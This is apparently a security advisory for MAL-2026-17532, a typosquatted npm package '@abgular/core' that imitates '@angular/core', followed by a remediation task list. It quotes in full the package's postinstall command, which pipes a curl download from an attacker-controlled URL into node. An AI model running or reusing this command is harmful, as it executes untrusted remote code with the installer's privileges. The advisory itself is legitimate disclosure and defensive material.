MAL-2026-17532 Malicious code in @abgular/core (npm)
Malicious package
Published
MAL-2026-17532 is a malicious package: @abgular/core (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-17532/ (Markdown: https://insights.sbomify.com/MAL-2026-17532/index.md)
- Package
- @abgular/core
- Registry
- npm
What is MAL-2026-17532?
MAL-2026-17532 is a malicious package in @abgular/core, published on 5 Oct 2026.
Official description
Package name
@abgular/core is a single-character transposition of @angular/core and copies that package's description, author, and repository metadata. The package.json declares a postinstall script that runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching an unpinned, unverified JavaScript payload from a third-party code-hosting service via web.archive.org and piping it directly into node during npm install. The fetched code executes on the installer's machine with the installer's privileges; its contents are mutable and attacker-controlled. The deceptive package identity ensures developers who mistype @angular/core trigger this remote-code execution.What should I do about MAL-2026-17532?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.